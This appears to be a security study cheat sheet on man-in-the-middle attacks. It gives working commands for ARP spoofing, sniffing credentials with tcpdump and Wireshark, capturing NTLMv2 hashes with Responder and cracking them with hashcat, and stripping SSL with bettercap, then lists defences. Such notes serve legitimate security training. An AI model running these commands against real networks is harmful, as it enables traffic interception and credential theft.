Network Attacks & Man-in-the-Middle

Normal ARP:
192.168.1.100 asks: "Who has 192.168.1.1? Tell me your MAC"
192.168.1.1 replies: "192.168.1.1 is at AA:BB:CC:DD:EE:FF"

ARP is unauthenticated — anyone can reply to any ARP request!

Attack:
Attacker sends gratuitous ARPs:
"192.168.1.1 (router) is at ATTACKER_MAC" → sent to all hosts
"192.168.1.100 (victim) is at ATTACKER_MAC" → sent to router

Result:
Victim's traffic → Attacker → Router (intercepted!)
Router traffic → Attacker → Victim (intercepted!)

# arpspoof (dsniff)
echo 1 > /proc/sys/net/ipv4/ip_forward   # enable forwarding
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP

# ettercap (GUI and CLI)
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# -T text mode, -q quiet, -M arp:remote MITM

# bettercap (modern, feature-rich)
bettercap -iface eth0
net.probe on      -- discover hosts
arp.spoof on      -- start ARP spoofing
net.sniff on      -- capture traffic

Wireshark — GUI packet analyzer
tcpdump  — CLI packet analyzer (scriptable)

# Capture traffic
sudo wireshark &
# Select interface → Start

# Useful display filters:
http                        — HTTP traffic
http.request.method == "POST"  — POST requests only
ftp                         — FTP (credentials in clear)
telnet                      — Telnet sessions
smtp                        — Email credentials
credentials                 — Wireshark's credential detection

# Follow stream:
Right-click packet → Follow → TCP/HTTP Stream
# Reconstruct full conversation

# Export credentials:
Edit → Find Packet → String → "password"

# Capture all traffic
sudo tcpdump -i eth0 -w capture.pcap

# Filter by host and port
sudo tcpdump -i eth0 host 192.168.1.100 and port 80

# Capture only HTTP (port 80) and FTP (port 21)
sudo tcpdump -i eth0 port 80 or port 21 -w web_ftp.pcap

# Read saved capture
tcpdump -r capture.pcap -n

# Extract credentials from HTTP
tcpdump -r capture.pcap -A | grep -i "password\|pass=\|user="

# Real-time credential display
tcpdump -i eth0 -A -s0 port 80 | grep -i "pass\|user\|login"

# How Responder works:
# Windows tries: DNS → LLMNR → NBT-NS
# If DNS fails, broadcasts LLMNR/NBT-NS query
# Responder answers: "I am the host you're looking for!"
# Windows sends NTLMv2 authentication to Responder
# Responder captures the hash

# Start Responder:
responder -I eth0 -wF
# -w Web proxy capture, -F Force NTLM auth

# Output: captured NTLMv2 hashes in /usr/share/responder/logs/
# Crack with hashcat: -m 5600 hashes.txt rockyou.txt

# Trigger scenarios:
# Windows user types: \nonexistent-server (UNC path)
# Shared printer with wrong hostname
# Browser proxy auto-discovery (WPAD)

# SSL stripping downgrades HTTPS to HTTP
# Requires ARP poisoning first (MITM position)

# Tool: bettercap
bettercap
net.sniff on
arp.spoof on
http.proxy on         -- intercept HTTP
https.proxy on        -- act as TLS proxy
set http.proxy.sslstrip true  -- strip SSL

# Defense: HSTS preloading prevents SSL stripping
# Browsers refuse HTTP for HSTS domains even if stripped

# Telnet — plaintext!
sudo tcpdump -i eth0 port 23 -A | grep -v "^$"
# Full session visible in plaintext

# FTP — plaintext credentials
sudo tcpdump -i eth0 port 21 -A | grep -E "(USER|PASS)"

# HTTP Basic Auth — base64 encoded (not encrypted!)
# Authorization: Basic YWRtaW46cGFzc3dvcmQ=
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# admin:password

# SMTP — email credentials
sudo tcpdump -i eth0 port 25 -A
# AUTH LOGIN: base64 username/password

# DNS sniffing — map internal hostnames
sudo tcpdump -i eth0 port 53 -n | grep -E "(A|CNAME|PTR)"

1. HTTPS everywhere (TLS) — even with MITM, traffic encrypted
2. HSTS + preloading — prevents SSL stripping
3. Certificate pinning — mobile apps check specific cert
4. Network segmentation — isolate sensitive systems
5. 802.1X NAC — authenticate before network access
6. Dynamic ARP Inspection (DAI) — switch-level ARP protection
7. DNSSEC — signed DNS responses
8. IPv6 RA Guard — router advertisement protection
9. VPN — encrypted tunnel even on untrusted networks